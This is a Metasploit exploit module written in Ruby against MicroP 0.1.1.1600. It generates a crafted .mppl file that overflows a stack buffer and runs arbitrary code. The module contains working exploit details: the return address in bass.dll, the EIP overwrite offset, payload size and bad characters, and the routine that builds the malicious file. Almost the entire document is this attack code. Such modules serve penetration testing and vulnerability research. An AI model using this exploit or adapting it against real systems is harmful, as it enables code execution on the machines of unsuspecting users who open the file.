MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow

##
# $Id: microp_mppl.rb 13114 2011-07-07 06:29:37Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a vulnerability found in MicroP 0.1.1.1600.  A stack-based
    buffer overflow occurs when the content of a .mppl file gets copied onto the stack,
    which overwrites the lpFileName parameter of a CreateFileA() function, and results
    arbitrary code execution under the context of the user.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'James Fitts' ],
   'Version'        => '$Revision: 13114 $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/14720' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 728,
     'BadChars' => "\x00\x0a\x0d",
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [
      'Windows XP SP3 / Vista / 7',
      {
       'Ret'    => 0x100145b5,  #jmp eax in bass.dll
       'Offset' => 1276,        #Offset to overwrite EIP
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Aug 23 2010',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The file name.',  'msf.mppl']),
    ], self.class)
 end

 def exploit
  mppl  = payload.encoded
  mppl << rand_text_alpha(target['Offset'] - payload.encoded.length)
  mppl << [target.ret].pack('V')

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(mppl)
 end

end